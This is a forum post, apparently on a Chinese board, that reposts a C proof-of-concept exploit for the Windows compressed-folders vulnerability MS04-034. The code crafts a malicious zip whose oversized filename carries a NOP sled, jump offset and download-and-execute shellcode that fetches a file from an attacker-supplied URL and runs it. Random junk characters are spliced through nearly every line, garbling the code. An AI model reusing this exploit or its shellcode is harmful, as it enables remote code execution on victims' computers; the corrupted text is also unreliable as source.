- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
|
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)" [, o" W! Q" T5 e
*+ Z( R9 u: q/ E4 C- s
* Tested under Windows XP SP0 Spanish/English
" H0 W" g$ W5 M; c1 h3 c( Z*" J. k: g% s' {( M, m
* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html
( h* h/ Z+ t, s1 } \* Exploit Date: 21/10/20042 \) h! z! \1 @! s4 a' o% B) `
*
2 g9 f' y4 V4 W: }* Tarako - Haxorcitos.com 2004) Z3 e: B/ Q, L1 [
*# ?2 x1 Q" k* P: r: Q# `3 P
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"2 y" C: c5 k9 [) ~) G1 h9 f( R
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
' t& M( j* j/ _* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
) W; G! g9 C& K. ?- z' s*7 j2 \% `9 V) Y. w% U
* Greetings t #haxorcitos, #dsr and #localhost @efnet5 c- E9 V& j4 v4 I5 C9 o5 Z
*& i* C" e4 j1 \2 p) \
*- B# o! ]# K# d. _$ A: z! K
* How to get new offsets:2 \5 z2 F, Z% A1 ?
* 1) attach debugger (i.e ollydbg) to explorer.exe D! s! U) b ^
* 2) open the zip file as a folder and add or move some files to it% y" z: ?4 f2 C, y5 I& U
* 3) search in the explorer.exe memory the shellcode and get the addresses! f' ?/ Y' g3 Y, [
*
# B, O) I1 S! H! t2 g*/
0 m' U1 t P) u# `; R7 @; [$ ?% ~) g' C
#include <stdio.h>+ a+ S" j5 h% K+ n4 X
#include <windows.h>6 ^! F" E+ I! f7 |
( a' }. D4 F1 I4 [& _2 ~#pragma pack(1)9 |3 z9 Z4 V# q9 |" o% h( {
J, ^* \4 M4 r/ b1 _#define DATOS "Tarako-Haxorcitos.com"& M' P9 u, f: Z4 U* g) s
, O0 y6 N. M# N5 @: a, Dtypedef struct {
" i/ N. m+ w7 ?( N$ Y" C, q% FDWORD Signature; // PK.. 4 bytes (0x04034B50)
: g* i( m& R9 q1 c% QWORD VersionNeeded;
/ Y7 h! P; j* _5 dWORD GeneralPurposeFlag; // para el data descriptor y demas4 w& c7 c" j% w4 V1 F( e* ^: V9 E# m
WORD CompressionMethod;, g3 f+ p6 g/ w0 Y- l' m, b' V
WORD ModFileTime;* x; {/ i( ?) D
WORD ModFileDate;# p2 L. p+ a% f3 A' d* k2 D4 m4 B
DWORD Crc32;: \0 }, u5 x/ c3 z$ L
DWORD CompressedSize;
, G, i7 g' i! G1 [0 F, c! YDWORD UncompressedSize;- |5 Y2 @% A: _9 }* s$ Z" q
WORD FilenameLength;
# B1 {, |$ v" M _/ k$ }WORD ExtraFieldLength;+ K7 G9 f6 w0 z1 A
// filename (variable size)# f3 W% l' Q- |3 J
// extra field (variable size)6 {6 d$ _3 h3 _0 J7 |- ]
}TOPHEADER;! \) B ~% {$ d: p. x! {0 T
) {+ [3 ^9 T/ Y2 l. [; {, f+ B/ ?, K8 d( }8 [
typedef struct {
/ X( z% N; U/ m8 m1 w! u. {DWORD Signature; // PK.. 4 bytes (0x02014B50)
2 G$ M6 }0 T S. }% {WORD MadeVersion;
5 S7 B, H+ T1 u4 wWORD VersionNeeded;( u6 C. o0 d! t& C3 i3 O8 ]5 B
WORD GeneralPurposeFlag; // para el data descriptor y demas
8 y9 O% v( v/ C6 _WORD CompressionMethod;
; U9 W" E- `, x1 ~7 BWORD ModFileTime;# I" ?4 v; P9 y: J! e/ T
WORD ModFileDate;
/ `; E- p/ i5 `# YDWORD Crc32;9 v+ `3 u. _6 m/ Q8 _
DWORD CompressedSize;+ X4 n# Z& _ [* W7 W
DWORD UncompressedSize;8 v" u; F2 v9 j* e3 \6 l# o
WORD FilenameLength;
1 p* V1 z, v% |. C7 H, U; {3 qWORD ExtraFieldLength;* r1 w6 Z( A: ?- W
WORD FileCommentLength;; T' _4 H# z* Q* p2 y2 i) u* }
WORD DiskNumberStart; |( k4 s+ @+ n1 |1 o) V
WORD InternalFileAttributes;
( z% @4 X% n! T. b" w, @2 lDWORD ExternalFileAttributes;; ?7 u# S9 v+ g
DWORD RelativeOffsetOfLocalHeader;
" g$ v6 n( M/ `6 [: }( t( y// filename (variable size)
, c6 v( A3 J) G% m// extra field (variable size)' J1 Z1 m/ B) g8 Y3 H: J# I
// file comment (variable size)* P- A$ h, X* q8 M# m
}MIDDLEHEADER;
8 M; y5 d9 M, w& U8 p# D$ X2 C! X
J. U. K4 c j& k3 v0 f6 A: Wtypedef struct {' _* q. E/ n" w/ ?: X3 ^ K" ^
DWORD Signature; // PK.. 4 bytes (0x06054B50)
, ~7 Y* u: x YWORD NumOfThisDisk;8 f' R* U$ W. ]" u
WORD NumDisckStartCentralDirectory;
1 i8 T, y b( L" V2 ?1 O0 iWORD NumEntriesCentralDirOnThisDisk;- l- S. D! Z* }( y2 ~
WORD TotalNumEntriesCentralDir;' t e% d: U( |( G
DWORD SizeCentralDirectory;
9 e1 x" K6 V5 V9 s8 b/ j6 [DWORD OffsetCentraDirRespectStartDiskNum;; o& w3 P! G* ]3 e
WORD ZipCommentLength;+ } \8 T- N R/ g
// zipfile comment (variable size)
2 O9 ]) B, k& N! Q" r% f) ^}BOTTOMHEADER;
% `, n# q+ J+ c0 `( J( {8 m8 w
: x. b0 l+ V- }/*
6 c/ Q: m& k( E( |* download shellcode - RaiSe - raise@netsearch-ezine.com
1 Z: O1 r% Y4 I( L5 U; Q*/
7 t: L+ B& R2 W5 H8 r9 p4 ?1 schar shellcode1[] =
- `# c0 n, V9 Z3 b"\xEB\x5D\x5F\x8B\xF7\x80\x3F"; U2 j) a) z4 y4 ]1 Q
"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
% m o4 ` i; H7 m"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08"
: C( \/ b' R4 z( Q6 {$ [4 C4 g"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"
* H; h/ S8 `( h, @6 h* K"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B": Z, O- I7 i' b# I
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74". X+ C+ b" C. @# l" Z2 l
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"
: P0 o, C' D6 A+ ~"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B"+ B+ [8 H) W* \" V% g1 \+ L, T3 p
"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"
7 |5 C5 |4 W* L"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"( y. ~# n9 i) U3 e& P% d
"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"# V/ {( g& I9 d! s- v
"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"4 ~, V, |: G4 j3 s+ K) E2 E! z
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"/ Q Y/ J7 H5 m+ t
"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"! }& F# a7 H4 X5 Q: [8 @; |
"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"* s( w3 e) |3 r" H1 ^& v
"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"
2 z6 D4 D5 S9 H2 L& O"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"
; E: T) s8 I; { m% @# p"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"
8 Z0 U( c8 N( m1 p; |: g"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"& \5 u5 d# m' e, b1 M/ _' U$ w
"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"+ C% | x$ p/ N4 F/ r0 n
"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"
8 R; U' K) L5 g( L" e6 T# p"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"" l" c3 c, [* S! h
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"9 r( G& M' ?2 H: M0 i
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"
/ }6 e C" a% h+ j( w"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"; i3 c8 n" ^; E o9 O# D x1 }
"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
+ |# Z0 J7 y1 O' m( N6 {' Y4 D"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"
C& B" @; U; `4 I1 ? c"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"! B# h) b O9 L! C1 }0 w
"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"
! |6 ^/ z4 _4 E7 B; m U2 x# R- G"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"
& c4 A+ V1 N# ^3 P. o9 a3 a6 M2 {"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"
9 `6 ^. y3 H7 B9 u. B, S"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"; n- v3 m+ v8 r+ p' g: s2 d: v
"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"
$ f. d. ^0 b* u9 j: w- a0 S' l"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"
( R A, ~* l, W+ ?; d: G, B/ U"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";6 f& [' p; q: @. O
char shellcode2[] ="\x08\x01";
" g2 l- |" s4 M. f7 M8 S% n9 T" m+ N6 l3 S
char offset[]="\x41\x41\x41\x41";
- r5 ~! }* N5 }3 k3 a; d, g! pchar jmpbelow[]= "\xeb\x06\x90\x90";0 h5 ?2 X& w2 u* Y: ?& f- L
, \7 C1 T- m2 @9 s M" j& S$ E
int main(int argc,char *argv[]) {, {- l. W7 F/ c8 b% |. l0 M. _
9 L0 W2 J5 c$ V5 |- [, }" k' @
FILE *ZipFile;
- U3 l- C. D2 y* m) F3 VTOPHEADER *Cabecera1;
3 ~1 b# } }3 _) [. }, ^9 JMIDDLEHEADER *Cabecera2;# B9 d. f0 T V% s7 A$ L
BOTTOMHEADER *Cabecera3;+ o9 |+ W+ t$ r. L/ y' H ]
|; Q; x! H F! O4 O$ bDWORD c;
( o9 j3 l! C9 K BUINT i;" S, t8 w5 G& F9 X( H S4 c
char *filename;
* h* z! f7 S z/ P5 zchar *url;- z: B8 |1 Y$ M0 l
- f# F+ z% \. `printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");
& \$ V _, N6 _, Q, S5 [; mprintf("\n Tarako - Tarako[AT]Haxorcitos.com\n");8 P6 r7 n. `. s0 H. \ H
! m5 J& o: X4 O: H( aif (argc!=2) {- ~0 }- }3 o. i4 v' B2 t
printf("\n\n Usage: %s <URL> \n",argv[0]);5 B9 I1 A. G8 h3 ]
exit(1);. p, w' J( p* A4 m J: c6 M! G3 }
}6 R5 K$ ?& F4 o. I; x3 o% }1 K# f
9 h# o! o" l) u V, hurl=argv[1];
+ X* g3 {3 F. ^/ Z, D0 i3 Fprintf("\n * URL: %s",url);% R+ o# e. A+ S9 F$ X
- m5 i* j: W: |$ n$ T/ O* C8 j1 @
if (!(ZipFile=fopen("prueba.zip","w+b"))) {
, Y) d) F8 G! |printf("\n [E] fopen()");
9 F0 g# p& z2 n3 ?exit(1);
' f* R; o" e6 g5 z8 l1 }}
- j& Z9 ]/ }3 j3 _
0 K" y, N. r1 i. xc=0x8000; // filename length
8 o8 a z2 E! O; |" |filename=(char*)malloc(sizeof(char)*c);
) G5 @+ V. \' [( B8 y! W* ?memset(filename,0,sizeof(filename));
* Z% l; C8 `0 k! A3 ^' [$ B7 e' X+ x% ^/ i
for( i=0x0;i<c;i++) filename=(BYTE)0x90;0 P% g) V# w6 h1 d! \5 i$ w
9 R# ^, z5 D7 J% T1 ymemcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));
' {# ~; X! v9 Rmemcpy(filename+0x1818,offset,strlen(offset));
8 Y: _4 k' }) W6 G7 z* b5 d
7 V. b* h, N. R5 Zmemcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);
( ~2 ]- K/ C8 A( nmemcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));
- `! _8 g/ g/ y3 a' u7 Gmemcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);
( s+ H: ~7 d3 C2 B( v! B9 }& ^& V- J) [
memcpy(filename+(c-4),".txt",4);! Y- q, b( G$ ]' J* N
) o8 |1 g$ K4 `/ k6 M5 [4 B' V
Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));+ }# K. |) y* Y6 _0 _! t
Cabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));, ^7 p& s! S1 ]& }& \6 \
Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));
6 @( D% G+ N( ?% Xmemset(Cabecera1,0,sizeof(TOPHEADER));
9 \ @1 F4 e# K5 a% h/ B( e. n Kmemset(Cabecera2,0,sizeof(MIDDLEHEADER));5 L8 Y' e& }1 A1 D% `( }! [
memset(Cabecera3,0,sizeof(BOTTOMHEADER)); + n- S: ]) h2 R4 G# Z
4 d2 a2 L- L# ]# v# Z///////////////////////////////////////////////////////////////////
6 O, h7 p0 Y, Q: e) C8 f) ^// TOPHEADER
: E4 v% v( R2 R- |2 t8 C8 Z///////////////////////////////////////////////////////////////////
$ y: n3 e f' J- n$ L8 `Cabecera1->Signature=0x04034B50; // DWORD
1 k! [: ], b* LCabecera1->VersionNeeded=0x000A; // WORD
3 j+ @2 Z2 m3 G6 g/ u* A& CCabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas
( Z' N9 b8 A' O+ |+ i8 m! d5 PCabecera1->CompressionMethod=0x0000; // WORD% Z+ R* w% ^( S# F2 Z+ W) R
Cabecera1->ModFileTime=0x1362; // WORD4 S7 i1 q! l m5 a: Z. P
Cabecera1->ModFileDate=0x3154; // WORD
4 |+ u) ?+ b6 D' h( w( h" }Cabecera1->Crc32=0x85B36639; // DWORD$ U, t6 d; W) o& m! D
Cabecera1->CompressedSize=0x00000015; // DWORD
( I8 v; d* @* hCabecera1->UncompressedSize=0x00000015; // DWORD4 C4 h( I/ M! g g3 c$ x
Cabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
0 Z* t/ a; G# L8 q" o1 b/ [9 cCabecera1->ExtraFieldLength=0x0000; // WORD
; {" a X4 y. l/ q* j; R0 o2 s" D///////////////////////////////////////////////////////////////////& W: b, _1 D4 S# ~6 R8 v
1 O& N! C( ` [4 S///////////////////////////////////////////////////////////////////! @- _ l! t( r0 L9 S
// MIDDLEHEADER. l% h4 T' B; A1 P
///////////////////////////////////////////////////////////////////
8 C! k8 h8 D9 j1 N1 NCabecera2->Signature=0x02014B50; // DWORD
) r4 b$ c; U" d, ~, SCabecera2->MadeVersion=0x0014; // WORD5 k9 L6 `' K, ]% c: ~: v- v* }3 l
Cabecera2->VersionNeeded=0x000A; // WORD$ X6 m! M! W2 ]6 e, h5 {8 y
Cabecera2->GeneralPurposeFlag=0x0002; // WORD; p4 z* F. o0 L* B* S# y
Cabecera2->CompressionMethod=0x0000; // WORD
" @. u8 h+ X8 _/ {Cabecera2->ModFileTime=0x1362; // WORD0 H3 o, a' v; s3 V2 ~, n C# D5 d7 |! Q
Cabecera2->ModFileDate=0x3154; // WORD
) h5 O! J; Q- m* h$ r( O x- G LCabecera2->Crc32=0x85B36639; // DWORD; J! R. W/ Y% |6 o9 B. w0 j
Cabecera2->CompressedSize=0x00000015; // DWORD
7 A" T* e: [$ `4 `Cabecera2->UncompressedSize=0x00000015; // DWORD
7 E2 n4 K3 F7 @( WCabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename); I+ Z0 @7 i- L2 q7 N+ h
Cabecera2->ExtraFieldLength=0x0000; // WORD
, ]5 Y6 S+ y& q" R) B& J; n; wCabecera2->FileCommentLength=0x0000; // WORD
& D$ R t' U( ]( o. }Cabecera2->DiskNumberStart=0x0000; // WORD9 K4 j$ O, N3 i
Cabecera2->InternalFileAttributes=0x0001; // WORD
) o# L5 ]! ^3 ^6 \8 ~6 ^, s6 vCabecera2->ExternalFileAttributes=0x00000020; // DWORD5 ~" [! g1 L! ?4 z# Z; i
Cabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
# A5 V! O& ]& m) u7 M& O3 `/////////////////////////////////////////////////////////////////// N: g: e8 i+ s8 H
/ L3 W- R( I2 m///////////////////////////////////////////////////////////////////; M7 E$ K1 H/ o# \/ ^! A$ Y2 n
// BOTTOMHEADER! m4 Y. I2 i _# A( [6 O
///////////////////////////////////////////////////////////////////
, b2 T/ w3 ?7 {Cabecera3->Signature=0x06054B50; // DWORD# n9 f! n: C8 c9 s1 M, A& {: v5 J
Cabecera3->NumOfThisDisk=0x0000; // WORD% z; p" O' D0 B
Cabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
) w& R& W, ~8 g! u% ~Cabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD
* j) t" M Q" t# p HCabecera3->TotalNumEntriesCentralDir=0x0001; // WORD
$ o& N$ k( P. s6 U- TCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD- i' U" Q0 Z7 M
Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD
; }: j3 a9 T+ v) N0 H% a4 tCabecera3->ZipCommentLength=0x0000; // WORD
6 z/ H' O- r; \* g1 @+ o0 a$ r$ ^///////////////////////////////////////////////////////////////////, X: W2 i5 W. d9 m6 \
; E6 o! w+ E( v) D# Q f
fwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);5 k1 |( ^: ?9 _ ~7 Q: g% |
5 E, h, E6 F4 n4 l/ B6 o$ p( ~. d2 Dfwrite(filename, c, 1,ZipFile);
* o( j) ]8 }- `4 K& y2 [fwrite(DATOS,strlen(DATOS),1,ZipFile);% n4 `* J! S, y' D
' i# Y" Q) G W" t, K7 W
fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);
8 `& i, F, C/ e5 i+ l' h5 }* tfwrite(filename, c, 1,ZipFile); 6 h8 l( C( W, ?! K
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);' D. S) T/ r! \1 M" A
& o7 y1 G! a* `: g2 @
fclose(ZipFile);
3 G. z- }% G! ~+ E) }0 Bprintf("\n * prueba.zip created\n");
; W& C9 U8 a. q8 H9 A' n& w# M( Areturn 1;1 k1 E7 J% W4 {
}//downloaded from milw0rm.com ( ?: j& l; h; E- E
|
zan
|